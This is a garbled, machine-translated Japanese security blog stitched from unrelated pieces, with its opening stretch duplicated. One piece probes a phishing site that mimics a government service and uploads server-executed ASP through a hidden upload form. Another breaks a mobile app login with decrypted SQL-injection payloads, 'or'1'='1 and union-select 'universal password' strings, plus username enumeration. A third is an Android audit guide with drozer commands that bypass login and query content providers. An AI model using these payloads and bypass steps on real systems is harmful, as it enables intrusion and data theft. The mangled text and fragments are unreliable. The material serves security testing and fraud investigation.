少しシンプルに見えますが、実行するのに十分かどうかは関係ありません。ファイルをアップロードするだけです:

front-upload-done

その後、もう一度アクセスして効果を確認してください。

front-upload-access

なんて男だ、それはエキサイティングだ!私の口の角は再び少し上昇しますが、最初に落ち着いてから、ファイルタイプの確認があるかどうかを確認してみてください。このサービスはASP.NETなので、ASPプログラムを渡すだけです。次のコードは、ページ上のサービスの名前を実行します。

%respons.write(request.servervariables( 'server_software'))%

次に、アップロードしてチェックしてください。

front-upload-asp-info

これ.他に何が言うことができますか?沈黙は現時点では音よりも優れていますが、これは終わりではありません。これはただの良い出発点であり、すべてが始まったばかりです(¬‿¬)。

0x004予期しない収穫

実際、Webサイトディレクトリには、Jieliuziと呼ばれる別の非常に興味深いディレクトリがあります。私は中国のピンインの命名が好きなオブジェクト開発者の習慣を理解しましたが、この意味は理解されていません。推測と入力の方法さえ理解していません。詳細を調べた後、私も入って見つけました=_=。中国の文化は本当に深いです。何があっても、ページアクセスの結果を見てください:

front-jieliuzi-login

これは非常に簡潔なログインページであり、実際にはPCサイトページです。詐欺師はいくつかの面で非常にロマンチックです。ここで表示されない理由は、全体像がエキサイティングすぎるためです(このログインボックスは本当に白です)、レビューに合格できないのではないかと心配しています。さらに、このページの上部にあるタイトル名に注意を払ってください。最初の反応は、それが単純な文字通りの意味であってはならず、良い言葉のように聞こえないことです。私はこれのために特別にバイドゥに行きました:

front-whaling-meaning-1

これは長くてダウンしている話です。友達、そこに座って、あなた自身の軽食を持ってきてください。全文には、情報収集と征服の詳細なプロセス、およびこのタイプの詐欺のアイデアの分析と分解が含まれており、予防意識を向上させます。

0x00夢の始まり

晴れた午後でした。毎日のレンガ造りのプロセス中に会社のメールを受け取りました。

email-send

この馴染みのある言葉遣いを見て、私は下の愛着をちらっと見て、おなじみの息が私の顔に来てそれを保存しました。

email-qrcode

その後、管理者はすぐに何かが間違っていることを発見し、従業員のアカウントが盗まれたというメッセージを送信しました。メールのコンテンツを簡単に信用しないでください。元の電子メールはスパムとしてもマークされていました(最後に同様のメールが突然削除され、それが始まる前に問題が終了しました。今回は逃げられませんでした( ̄_、 ̄)。

そして、この写真はすべての夢が始まったところになりました.

0x01情報収集

0x001レビュードメイン名

開始情報は非常に限られています。最初の写真はプロットであり、プロットはすべて推測に基づいていますが、このエントリで十分です。 QRコードの情報を分析するために男を取り出しましょう。

email-qrcode-analyze-url

追加のデータはなく、Webページのリンクの文字列のみがあります。ドメイン名を見ると、口の隅が少し上昇します。最初にドメイン名を分析します:

cmd-nslookup

記事が書かれるまでドメイン名を解析することはできず、修正は非常に高速でした。幸いなことに、以前にバックアップがあり、ドメイン名は絶えず変更されました。 CDNを使用していることはわからず、すべてのトラフィックがソースステーションにありました。私はそれをチェックしました、そしてそれは香港のサーバーでした:

front-query-ip

次に、関連情報を収集するために:

cmd-whois

予想どおり、それは追加の有用な情報を使用しない3人のパーティー登録機関ですが、登録時間は非常に興味深いものです。今月、詐欺師は非常に速く動いています。次回は、彼らは相手のウェブサイトに行くためにしか見ることができません。

front-west-whois

再び西部のデジタルで、少し人気があるようです。ウェブサイトはプライバシー保護メカニズムを提供し、登録情報は一般に公開されておらず、当面は有用な情報を取得することはできません。

0x002レビューIP

今の手がかりは、以前に解析されたIPです。まず一歩一歩進んで、ポートサービスをスキャンして、より多くの情報を収集します。

cmd-nmap-port-services

はい、大丈夫です。私はいくつかの馴染みのある数字を見て、プロセスに従い続け、デフォルトのスクリプトを下ってポートサービス情報を分析しました。

cmd-nmap-default-script

匿名のFTPを検出することはなく、HTTPはトレースをサポートし、httponlyが設定されておらず、XSSを実行する機会があるため、最初に小さなノートを書き留めます。次に、古いルールは最初にデフォルトの辞書の方向ブラストであり、それでも試してみる必要があります。

cmd-nmap-ftp-brute

残りのすべてのポートを試してみましたが、予想通り、あまり得られませんでした。私はまだ基本的なパスワード強度の認識を持っているようです。さらに、以前のスキャン、ポート8888が表示されました。これは、サーバー管理ツールのパゴダパネルのデフォルトのバックグラウンド入り口であることを忘れないでください。試してみてください:

front-baota-login-pre

エントリ検証がありますが、少なくともそれが実際にパゴダパネルであることを証明しています。ただし、この爆発は不可能です。エントリURLの接尾辞は、デフォルトでは、上限と小文字の文字と数字の約8桁であり、これは8の電力から約20兆のパワーであり、かなりaldげています。後で言いましょう。次に、他の方向に移動し続けます。

0x003レビューページ

それらはすべてここにあります。コードをスキャンすることはページへのジャンプへのリンクであり、ポートも80と443を開いているため、もちろん、KangkangにアクセスするためにWebページを開く必要があります。同時に、開発者ツールを開いて小さなアクションがあるかどうかを確認する必要があります。

front-home-mobile

ああ、それはモデルも認識します。これはユーザーが非常に明確であるため、モバイル端末にカットして見てみましょう。

front-home-index

emmm .それを言う方法、それはとてもいい匂いがする。一見することはできません。私はそれを非常に模倣しています(しかし、私は本当に勇敢で、政府のウェブサイトでそれをやっています)。次に、インターフェイスによって返されたヘッダー情報を見て、Windows IIS 7.5 + ASP.NETサービスが使用されていることがわかりました。

front-home-headers

これを最初に覚えておいてください、後で抜け穴を掘り出すことは役に立ちます。インタビューの後、私はページが空であることがわかりました、そして、加工の入り口のポップアップウィンドウのみがジャンプできることがわかりました。ジャンプページは次のとおりです。

front-apply-btn

説明は非常に完全であるため、誰もが正しい番号を取得できるようにします。今すぐ申請するにはここをクリックしてください:

front-input-name-id

次に、最初に名前とID番号を使用して、個人情報を収集するためのワンストップサービスが開始されました。さらに、その隣に表示されるロードされたPNGヘッダー画像の名前に注意してください。ええと、これは開発者からのクレイジーなヒントですか?ここで情報を入力してチェックすることができます。

front-input-name-error

実際に検証があります。ブレークポイントをクリックして、ソースコードロジックを確認してください。

front-input-name-breakpoint

完全に完了する数字を確認するのは本当に面倒ですが、フロントエンドの検証はすべて紙のトラであるため、ここで民俗救済は必要ありません。ソースコード編集および開発者ツールの関数を上書きするだけで、検証関数に直接trueを返します。

front-input-name-override

次に、確認して次のステップに進みます。

front-input-bank

銀行のカード番号とパスワード、携帯電話番号を収集することです。悲しいかな、意図は非常に明白です。お金を転送して相手のパスワードを転送する必要はありません。また、何気なく記入するためのものです。同じ方法を使用して銀行カードの確認をバイパスしますが、読み込まれたスクリプトファイルの1つで興味深いものが見つかりました。

front-input-bank-js-source

開発者は、ソースコードのデバッグデータを削除することさえありません。 Alibaba Pay Interfaceは、相手のデバッグアカウントを使用するために使用されます(開発者として、生産環境でコードコメントを削除することの重要性=_=):

front-input-bank-amount

次に、次のページを入力して、名前とID番号、および銀行カードの残高を再度収集しました(ここでは、ユーザーの実際の状況やその他の未知の操作の調査です)。予想どおり、私はここに嘘をつく勇気さえありませんでした。 T_T、すぐに記入して、次のステップに進みます。

front-input-bank-amount-value

front-submit-loading

その後、ページはロードされ、継続的に更新され、他のジャンプはありません。詐欺師が動作する時間を提供することです。その後、Webページの関連する操作は、当面の間終了します。いくつかの操作手順を大まかに理解してから、他の方向を探ります。

0x02脆弱性マイニング

0x001 SQL注入

情報コレクションはほぼ完成しているので、1つずつ壊してみましょう。最もよく知られているWebページから始めます。前のページを確認する際には、多くの提出フォームと入力ボックスがあります。これは潜在的なブレークスルーポイントです。どの鉱業技術が優れているか、まず魔法のアーティファクトのげっぷを使用し、銀行カード番号とパスワードの以前の提出のフォームデータを傍受します。

burp-form-field

次に、エラーメッセージを確認するために簡単な注入を試みます。

burp-sql-inject-simple

応答はありません。基本的な検証があり、それを変更する必要があります。

burp-sql-inject-union-select

反応があり、希望を見たように見えました。返品は文字化けしていますが、相手のプログラムがそれを処理する問題であるはずです。しかし、文の構造を見ると、SQLエラーが報告されたようで、それらのいくつかを連続して試してみましたが、同じリターンも返されました。それでは、残りの複雑な作業をツールに任せ、SQLMapを取り出して実行しましょう。

cmd-sqlmap

数ラウンドのパラメーターの後、私は成功しませんでした。フィルタリングメカニズムは比較的思慮深い必要があります。次に、別のページをテストしたとき、エラーメッセージの元の意味を発見しました。

burp-sql-inject-err-res

まあ、私はまだ若すぎます、私は間違っているでしょう。プログラムは、フィールド値のSQLキーワードを特定する必要があります。さらに、以前にスキャンされたサービスには、トレース関連の脆弱性が含まれている可能性があることを思い出します。テスト後、サーバーはまだサポートされていないはずです。

burp-trace-method

それから私はもう一度それについて考えました。パスワードフィールドのデータベーステーブルフィールドを設計するときは、銀行カードのパスワードであり、誰もが6桁の数字であることを知っているため、スペース占領を減らすために低い文字桁の特性を考慮する必要があります。驚きがあるかどうかを確認するための大きな数字があります:

burp-post-mass-data

恥ずかしさは驚きのためです。特別な治療がなく、サーバー側のエラーとして直接報告されるためであるべきです。私は次々といくつかのページを変更しましたが、テスト後に大きな利益はありませんでした。シーンはかつて行き詰まっていたので、私は一時的に戦場に移動することができました。

0x002メタプロイト浸透

がついにMetasploitに来て、準備ができています、

msf-banner

IISの既知の脆弱性を最初に検索します。

msf-search-iis

たくさんあるので、最初にいくつかのマッチング条件を試してみましょう。私はあなたにここで例を挙げているので、私はそれらを1つずつ見せません:

msf-run-ektron

次に、他のいくつかのポートとサービスがあり、1つずつテストされましたが、突破口はありませんでした。パッチはすべて非常に完全だったようです。現在、それは一時的に行き止まりに閉じ込められています。 MSFに使用するモジュールはまだたくさんありますが、まだ行われていない別の重要なことがあると思います。

0x003サイトディレクトリの列挙

サイトディレクトリスキャン、この重要なことはどのように欠けているのでしょうか? Dirbusterなど、多くのツールから選択するツールがあります。ここでは、Burp Suiteのエンゲージメントツールでディスカバリーコンテンツツールを使用して、ディレクトリブラストを実行します。

burp-dirbus-menu

burp-dirbus-config

多数の内蔵辞書では使用するのに十分ですが、ネットワークリクエストが含まれ、プロセスも非常に長いです。ただし、バックグラウンドで実行でき、他のものには影響しません。これがスキャンの結果です:

burp-dirbus-sitemap

いい人と呼んでください!スキャンしなかったかどうかはわかりませんでした。出てきてショックを受けました。私は非常に多くの隠された入り口を逃しました。最初にノートを書き留めて、1つずつ探索しました。ただし、私のビジョンは、upload.aspと呼ばれるファイルにロックされずにはいられませんでした。開発者からそのような明白なヒントを言う必要はありませんでした(ヨ(▔、▔)ㄏ)。

burp-upload-get

直接アクセスするときに返品データはありませんが、メソッドが間違っているためですか?それを変更してフォームファイルデータを投稿し、再試行してください。

cmd-curl-upload-file

この方法でアップロードするのは役に立たないようです。追加の検証パラメーターなどが必要です。これまで見たことのないページをたくさんスキャンしました。今、私は戻ってページのソースコードを1つずつ分析します。

front-upload-source

案の定、ページの1つでは、このアップロードインターフェイスを呼び出すフォームが見つかりました。これは隠された要素です。ページコンテンツと組み合わせることで、ユーザーがアップロードした特定のドキュメント情報、IDカードの写真などを収集するために使用する必要があります。その後、対応するJSソースコードを見て、実際にチェックサムインターフェイスパラメーターがあります。

front-upload-js-fn

ここでこれらの機能を分析して呼び出して、ファイルをアップロードすることは難しすぎます。これは隠された形ではありません。コードを直接変更してUI(¬‿¬)を介して操作するのはとても簡単です。

front-upload-show-form

少しシンプルに見えますが、実行するのに十分かどうかは関係ありません。ファイルをアップロードするだけです:

front-upload-done

その後、もう一度アクセスして効果を確認してください。

front-upload-access

なんて男だ、それはエキサイティングだ!私の口の角は再び少し上昇しますが、最初に落ち着いてから、ファイルタイプの確認があるかどうかを確認してみてください。このサービスはASP.NETなので、ASPプログラムを渡すだけです。次のコードは、ページ上のサービスの名前を実行します。

%respons.write(request.servervariables( 'server_software'))%

次に、アップロードしてチェックしてください。

front-upload-asp-info

これ.他に何が言うことができますか?沈黙は現時点では音よりも優れていますが、これは終わりではありません。これはただの良い出発点であり、すべてが始まったばかりです(¬‿¬)。

0x004予期しない収穫

実際、Webサイトディレクトリには、Jieliuziと呼ばれる別の非常に興味深いディレクトリがあります。私は中国のピンインの命名が好きなオブジェクト開発者の習慣を理解しましたが、この意味は理解されていません。推測と入力の方法さえ理解していません。詳細を調べた後、私も入って見つけました=_=。中国の文化は本当に深いです。何があっても、ページアクセスの結果を見てください:

front-jieliuzi-login

これは非常に簡潔なログインページであり、実際にはPCサイトページです。詐欺師はいくつかの面で非常にロマンチックです。ここで表示されない理由は、全体像がエキサイティングすぎるためです(このログインボックスは本当に白です)、レビューに合格できないのではないかと心配しています。さらに、このページの上部にあるタイトル名に注意を払ってください。最初の反応は、それが単純な文字通りの意味であってはならず、良い言葉のように聞こえないことです。私はこれのために特別にバイドゥに行きました:

front-whaling-meaning-1

1。アプリパケットキャプチャと逆クラッキング暗号化アルゴリズム

オープンアプリはログインボックスです

图片

パケットをキャッチした後、パラメーターが暗号化されました

图片

JADXオフソースコードを使用して、砲撃や混乱がないことがわかりました。とても幸運でした。

图片

Experienceによると、暗号化、復号化などのキーワードを最初に検索し、Common.jsに暗号化機能があることがわかりました。

图片

過去の配置、暗号化と復号化アルゴリズムのセットが書かれてここに配置されています

图片

ブラウザコンソールに入れてデバッグしてください、それは本当です

图片

2。注入点を見つけます

最初に注入をテストします

プレーンテキスト: {'username':'test' '、' password':'123456 '、' ostype':'android '、' osversion':'5.1.1 '、' appversion ':'20。 06.04 '、' logintype':'1 '、' model ':'v1938t '、' brand':'vivo '、' imei':'86516023309431 '、' version ':'new '}

パスワード: QSXBDUSV0QPJKD5TWYR90SSHKWZZFVIPKWUNFCK1GZZPKEZVJWWJ2ASJDZWXWRL5KURRVMFTWZOBHWTVUMR1KWSZZFV4TMRSBFBYIWCSV0YXRGBZWEBTSD 0T0J1RJFWNXNLMRMRBTUHZLBSRNTXF2SOVEVWZEBSBFCZEWVXAJVLXMMMZZYVY0D1TYP0VHNDBXNFNSVVYQX2VWHKTX50U41WW3JVNLMTUNFR4VVYSJVUVUF dbgjltwhuxftvhzhcxnvmspnvobnbtlfcxy1qobtwvbhmr1ebxjvc4vuzw0ebubxotfmswh1tyzubulteasdfw1attpxmmkbhbhbwe2ckpw1okvilgatnf C5UVYWRGMZFTSW1KAA52UEHXVHPLUSR1DWSWYOHGWTBXOVFMUXITWYI1VNPGCUJFSODVYZW2VTVNRW1KVATWVZXX2AOPKTSDFMAVLYVLIVXMBWLXTX10SSHLW結果:アプリは例外图片を返します

プレーンテキスト: {'username':'test' '' '' '' '' '' '' '' '' '' '' '' '' :'123456 '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion':'20 .06.04 '、' logintype':'1 '、' model ':'v1938t '、' brand':'vivo '、' imei':'865166023309431 '、' version ':'new '}

パスワード: jdfmqjvrdlmq2l3ahjlwxfmaox2vxaxvhbhbfbh5uejd0ypvjmznhcsjmsoh1uufzaljluxq1mxwzgwrfxnr1krsxgv5nwbhpkwunfvgdky4nmvzbhzyfms A52VZZUBNTEBYQFCGZLYPHWBTVHBWF2MSD1UWHWBL5KVUJVCAZVY2B3VTPNWXIVYAHVT0XGMJPKTWRFC50WYKHXBRLLLVXZVMJZVW1XMESLGBYQGCSVUTCB3RU LXRRFWTKH1UXX2AOPEBTLLM41WTQXMBWRNWXQ2QOZ1VWRGWHWAII5EVXUFZWB3VTJZAVFWAAHKY510VLDVMTZLNSRLYK5EWTRECGNWITWYZLEWPFBYI wcsvkydhmvazvnw0uasjdzwx2anzlurrnsvkvoxmmifhbwe2sopwzvdmnpgatfvdsbzykxmbtvnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:アプリは通常の图片を返します

プレーンテキスト: {'username':'test'or'1'='1'、 'password ':'123456'、 'ostype'3360'android'、 'osversion ':'5.1'、 'appversion ': '20 .06.04 '、' logintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version'new '}

パスワード: k0vwaluufnuaczxerfwrspfcod0vzlbtbxovfgfgmjpw3vzaipgetdvdsbzyk5kvuzjrgzfukhfvv2etvljedrvevvkvkvkeafhbr5ksozvwzzkewhg byqgcstgzh HMVZL3BVFGUSDVVV0P0RHTUNXDFCKHVYKZLHZTMV5KRW1MVWLTBHPHPKTUZFSWXGZ4BZVTPHBWULTSJYXXWRINEAWPLVWPNVOVZVPHPK4B DZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxm vsrlejdvyzw2vtlxvggj1twh1uvftvhzhcxnlcwbttphgbupxthf2q1c1u6xwvlteb6lfvxsmyk5kazvnrw1kvatwvzx2aopktsdfmavyvlyvwlxtx10sshlw結果:アプリは通常の图片を返します

この時点で、ログインポイントは注入であると判断できますが、結果は常に「ユーザー名またはパスワードが間違っている」ということです。つまり、「または「1」='1が使用されます。

图片

戻り結果に基づいて、バックエンドのログインのロジックコードはこのようなものかもしれません

userInfo='select * from userinfo where username=username';

userPass=userInfo.password; if(userpass==password){return 'login success';

} else {return 'login failed';

}ユニオンインジェクションを介してユニバーサルパスワードを構築すると、ユーザーがログインする可能性があります。テストプロセスは次のとおりです。

最初にテストで順序を使用し、フィールドの数が9であることを知ってください、ペイロードを作成します

#ターゲットサーバーにはフィルタリングがあるため、ここに単純なパスプレーンテキストがあります:{'username'3:'test'union/**/select/**/null、null、null、null、null、null、null、null、null、null、null - null - '、' password ':'123456 '、' ostype':'android '、' osversion':'5.1.1 '、' appversion ':'20.06.04 '、' logintyp E':'1 '、' Model':'V1938T '、' Brand':'Vivo '、' imei'3360'865166023309431 '、' version ':'new '} ciphertext: jdfmqj vrdlmq2l3ahfkaipktqzfdkdvy2b3vtfdb6zfaw52uzbhbntktfrfcwtwzojkehvumrvmtwdfvzwgbh9eayzvc1uktkxmubhdubhdyyy ky0xgm jpebulve3dlyrxmmifhbwewmjz1v1axvipktynfrazktojvmurdbgjmsar1uep0rinlsqlfmwbtunx2vsfhbr5ksox2vzg3rtdlvijwevxgz0e zvtphbwe1tkhktwvdmkbttvrvnsvvyqx2rolxshn2t1itwzbhbspgzujfdsbzyk5kvufjvrfwtgr1uwltvhbtsql1d1d1smyqhxbxttr2sovev wzumwhmwunvswzfzhfzvtjzawuvykhkyjpfblvdmxnlesvvypzevvztmvvvmrwd1uysgmrfgby9uezxwzwzphmvxndcwevtsdvuuhxrkjktrll1baz 0UHR2RNLXSXVWYKV1U6H2MWTMVIVGRKJZYXVZPHZZIVAGRLTIHHMJRDZGPVMONTUP5KBWVNSYM2MKTW4VLES1KTIVGWSDFZ040AZPN wsjwaondzip0vnftserfe5cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:アプリは正常に返されます图片

Oracleは、ユニオンクエリを実行するときにもフィールドデータ型をテストする必要があるため、対応するフィールドデータ型もテストする必要があります。最終結果は次のとおりです

#ここでパスワードを123に変更して、ユニオンによって構築されたユニバーサルパスワードが実行可能かどうかをテストすることに注意してください。 {'username':'test'union/**/select/**/1、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 12 3 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、1デュアルから - '、' password ':'123 '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion':'20.06.04 '、' logintype '' :'1 '、' Model ':'V1938T '、' Brand':'Vivo '、' imei':'865166023309431 '、' version':'new '} ciphertext: QSXBDUSV0 QPJKD5TWYB1UDSBTXFTBZBXOTFMSWH1TYZUBLTEASDVEVBTUNX2VSZTMF1KCSVFV2EZAH5EZYDVC1UZWBXBUBZAVFGUSJTYYBNRKNXMXNLES vvzpperirnuxfmdwd1uyzlewpfbunfdsbzyk50awbdmfzfuoh1vzx2aopktrl1ckxwtpjlbtreevfmrwd1uysgmvfgzijwsazfzzpkxkkaxjma SOH1UEVDMKBZATR1MSPXUOXGWTBXOVFGMJPWW3VZAIPGETD1ROJDZZZHFZVTPHBWULTWHLUXHXVNPEBYQFCFCSPWTPJKBUVNTHJWYGPXWYAHMR1EB XVFWG1GZLH2AXFJWVJMMSAR1UUBXMKNHARZLNSRLYK5EWTVTMVVMRWD1UYSGBY99UEZXWZPHMVXNDCWEVTSDVUHXRKNDZWDFEJFJPPR ntxj2qozfv650vl5ebyjlnwbzyqxgwuvjvjvrv2sontw1etvlzecunleodvzoxgwszdcwmmashfv1y1altktktzkvnxuvzgbnbtppntpntxvm tshlu2ahmjzecirfe5cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsddfmavlyvxmbwlxtx10sshlw結果:プロンプトは弱いパスワードです(この方法が実行可能であることを示します)图片

图片

次に、1つのフィールドと1つのフィールドを変更して、パスワードフィールドに対応するフィールドを決定します。テスト結果は次のとおりです

#パスワードをCESHI123 @@@に変更したことに注意してください。

プレーンテキスト:{'username':'test'union/**/select/**/1、' 123 '、' 123 '、' ceshi123 @@ "、 '123'、 '123'、 '123'、 '123'、 '123'、 '123'、1 '、' password ':'ceshi123 @@@ '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion ':'20.06.04 '、' logintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version ':'new '}

パスワード: k0vwaluufnuaczxxerfwuptebip1cwrlykpfvtbnstr2ckpxw1olvitgbyqgcgsvuzoj1auftrrvmtwhmtwhzanp luwrferzkuqxmmifhbfn2vkxw3bhmr1ebh9edsd0yhvzvtjzawevyw5mu050vhtktfrfcgxmuqb3mhvvmwy1s SJDVWR2MWFGDX9EWKDVYZW2VTRDBVFGUSDLVI50VONFETL1DS1WTP5KBREEVFMUSVFVXWMRS5KVYFVCXUVY2B3 vtfdb6zfaw52uzbxmwneawk1bwbtunx2vsfhefvgmnxgvwltbhpkvy9ewg1wzlhgbxhvnw0uasjdzwxgmhnnsqlv nkzlyphwbtbxovfmvkbtwxkkvnpmwunfr4vvyczvvvvjunrfmtontyizubldlsuvfc50wykrxbtpxshd1topxwvp 0AIPKTYNFRSVEZ310AZ9MWGNVYKDUT5L0VLFGZVNFNKHVZLBHWTVVMRJ2MS52U2WWRW5UNYQWNWTWZKJLVUVHZYV 2SWH1UVFZAINDBUNLQKVLUSBHWTVVMFN2BKPXWZVTRNTKTZKVNXUVZGBNBTPNTXVMTSHLU2AHMJZECIRFE5 cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:迅速なログイン成功图片

图片

バイパス後、プログラムに例外があることがわかりました

图片

ユーザー名(ユーザー名)、StaffID(従業員番号)、電子メール(電子メール)、StaffName(名前)、Tel(携帯電話番号)、モバイル(携帯電話番号)など、返されたデータを注意深く観察します。ただし、これらのデータは自分で構築されたばかりです。ここでは、後続のログインプロセスには実際のユーザー情報が必要です。

图片

幸いなことに、実際のユーザー情報を取得する場所はまだあります

3。パスワードを忘れてユーザー名を破る

アプリにはパスワードを忘れる機能もあります(通常、ここでユーザー名を爆発させることができます)

图片

パスワードを忘れてユーザー名が存在するかどうかを判断する機能を使用できます。ここで私は辞書を実行したばかりで、多くのユーザー名が出てきました。

图片

图片

4。 SMS検証コードの亀裂

これらのユーザー名を自然に使用して、SMS検証コードを使用してログインします

图片

確認コードを取得してから、データパケットを復号化すると、驚くべき発見がユーザーの基本情報を返します

图片

ログインに基づいてペイロードを再テストし、最終結果は次のとおりです

プレーンテキスト: {'username':'test \' nion/**/select/**/staffid、\ 'qwe123 @@@@ \'、\ 'username \'、\ 'qwe123 \ \'、\ 'mobile \'、\ 'mobile \'、\ '\' 8651602313デュアル - '、' password ':'qwe123 @@@ '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion ':'20.06.04 '、' l ogintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version ':'new '}

パスワード:

1。クライアントプログラムセキュリティテスト

1。APKの情報を確認してください

Java -jar getapkinfo.jar tfkj.apk

1049983-20211217131228014-496545986.png

2。デジタル署名チェック

c: \ program files \ java \ jdk1.8.0_111 \ bin \ jarsigner.exe-verify c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム\ tianfuテクノロジークラウドサービスプラットフォーム。

1049983-20211217131228573-1991440786.png

C: \プログラム

ファイル\ java \ jdk1.8.0_111 \ bin \ jarsigner.exe -verify c: \ uses \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ Tianfuテクノロジークラウドサービスプラットフォーム\ Tianfuテクノロジークラウドサービスプラットフォーム

1049983-20211217131229003-618681876.png

開発者の証明書は標準化されていないため、開発者のID情報が不明になります

keytool.exe-printcert-file。\ cert.rsa

1049983-20211217131229516-1178820240.png

3。逆コンパイルチェック

Apkscan.jarを介してアプリの硬化タイプを表示します

1049983-20211217131230011-966832256.png

APKはJavaソースコード:に低下しました

apkをzipとして扱い、classes.dexファイルを取得するために脱線します

1049983-20211217131230480-638869969.png

解凍されたclasses.dexファイルをdex2jarツールフォルダーにコピーします

1049983-20211217131231153-1756958467.png

コマンドを実行します:D2J-DEX2JAR Classes.dex

1049983-20211217131231611-193919411.png

実行後、分解されたクラスDex2jar.jarファイルが取得されます。

1049983-20211217131232059-1991644145.png

JD-gui.exeまたはluyten-0.5.4を使用して、classes-dex2jar.jarファイルを開き、360セキュリティを硬化させた難読化されたソースコードを取得します。

1049983-20211217131232556-603158649.png

Smali言語:にコンパイルされたAPK

Java -jar [apktool_2.3.4.jar] d -f

[APKアドレス] -O [出力ディレクトリ]

Java -jar

apktool_2.3.3.jar d [-s] -f c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム。

Java -jar

apktool_2.3.3.jar d -f c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム.apk -otfkj

1049983-20211217131233067-1296404841.png

または:

apktool.bat d Tianfu Technology Cloud Service Platform.apk

1049983-20211217131233565-431882397.png

4.AndroidManifest.xmlファイルを確認してください

Java -jar axmlprinter2.jar androidmanifest.xml

AndroidManifest.txt

または

Java -jar apkparser.jar Tianfu Technology Cloud Service Platform.apk androidmanifest.txt

1049983-20211217131234098-1085441528.png

1049983-20211217131234611-1809668187.png

1049983-20211217131235024-1950334509.png1。アプリケーションデータをオンにしてバックアップします。

許可バックアップの許可を許可すると、Tureにはバックアップデータリークのリスクがあります(デフォルトは構成されていない場合は真です)

1049983-20211217131235528-1612938688.png

2。安全でないデバッグモードをオンにします:

デバッグ可能な属性、trueはアプリケーション情報の改ざんと漏れのリスクをもたらします(設定されていない場合はデフォルトが偽です)

1049983-20211217131236182-153918030.png

5。Janusの脆弱性を確認してください

(1)Janusの脆弱性(Janusの脆弱性に基づいて、攻撃者は元の署名に影響を与えることなくアプリを変更できます。改ざんされたアプリを正常にインストールして実行できます。V1+V2署名は同時に使用する必要があります)1049983-20211217131236672-941233265.png

6。アプリケーション整合性キャリブレーション検査

ソースコードを逆コンパイルし、画像ファイル名をtest.pngとして変更します

1049983-20211217131237240-1525542787.png

APKパッケージを再生すると、コマンドは次のとおりです。

Java -jar apktool.jar b -fフォルダーがパッケージ化される-o出力APKパス

1049983-20211217131237760-235511991.png

1049983-20211217131238381-1458875576.png

または

apktool.bat btianfuテクノロジークラウドサービスプラットフォーム

1049983-20211217131238824-1189614589.png

Tianfu Technologyクラウドファイルの下には、さらに2つのフォルダー:BuildとDIST(パッケージ化されたAPKファイルが保存されています)を見つけることができます。

APKコマンドの再署名は次のとおりです。

Java -jar signapk.jar testkey.x509.pem

testKey.pk8 apkファイルパスに署名する。署名後のAPKパス出力

1049983-20211217131239209-956788928.png

次に、APKを再インストールすると、再インストールできれば、ファイルの整合性が破損します

2。コンポーネント安全テスト

1。基本情報クエリ(1)、プログラムインストールパッケージをリストします。

app.package.listを実行します

1049983-20211217131239559-1086056965.png(2)、アプリ名Drozerのパッケージ名を取得します(中国のアプリはリストできません。Java-Jar getapkinfo.jarを使用して、インストールされたアプリのパッケージ名を取得します)

コマンド:app.package.list -fパッケージ名を実行します

app.package.list -f Drozerを実行します

1049983-20211217131239881-1290900397.png(3)、Androidの4つの主要なコンポーネントの攻撃面を表示:command:run app.package.attacksurfaceパッケージrun app.zhuoyigou.dese 1049983-20211217131240206-1382008858.png :0101010101010101010 app.activity.info -aパッケージ名App.activity.info -a com.zhuoyigou.dese 1049983-20211217131240587-1688237832.png(2)、脆弱性テストにapp.activity.startを使用してください

コマンド:app.activity.startを実行する - コンポーネントパッケージ名コンポーネント名App.activity.startを実行してください---componentcom.example.sievecom.mwr.example.sieve.sieve.pwlist #bypass #bypass #bypass#bypass nemy login windowインタラクティブインターフェイス1049983-20211217131240871-1618307265.png 1049983-20211217131241457-1425156837.png

露出したアクティビティコンポーネントを呼び出す(一般に、アクティビティコンポーネントは1つのプログラムスタートアップインターフェイスのみを公開し、他のプログラムスタートアップインターフェイスのみを公開し、コンポーネントの露出です。テストであり、コンポーネントの露出の脆弱性はありません) app.provider.info -aパッケージ名App.provider.info -A com.zhuoyigou.dese 1049983-20211217131242548-2114912260.png(2)、contentProvidersデータリークURLコマンド:Run Scanner.Provider.Finduris -Aパッケージ名Run Scanner.Frovider.Finduris -A com.dduris -dderis -dderis -dduris- 1049983-20211217131242952-505976919.png(3)、各URIのデータを取得します

コマンド:app.provider.query漏れやすいURLアドレスをクエリ - verticalrun app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- vertical 1049983-20211217131243276-1703090917.png(3)、contentproviders sql didrestion sql didcmand 1:run conted app. querider - プロジェクション ''

コマンド2:接続できるapp.provider.query urlアドレスを実行します-selection '' 'run app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- -selection' '' 1049983-20211217131243626-1469344691.png 1049983-20211217131243937-488153965.png sql as a scliest as a sped as a splest a sclis

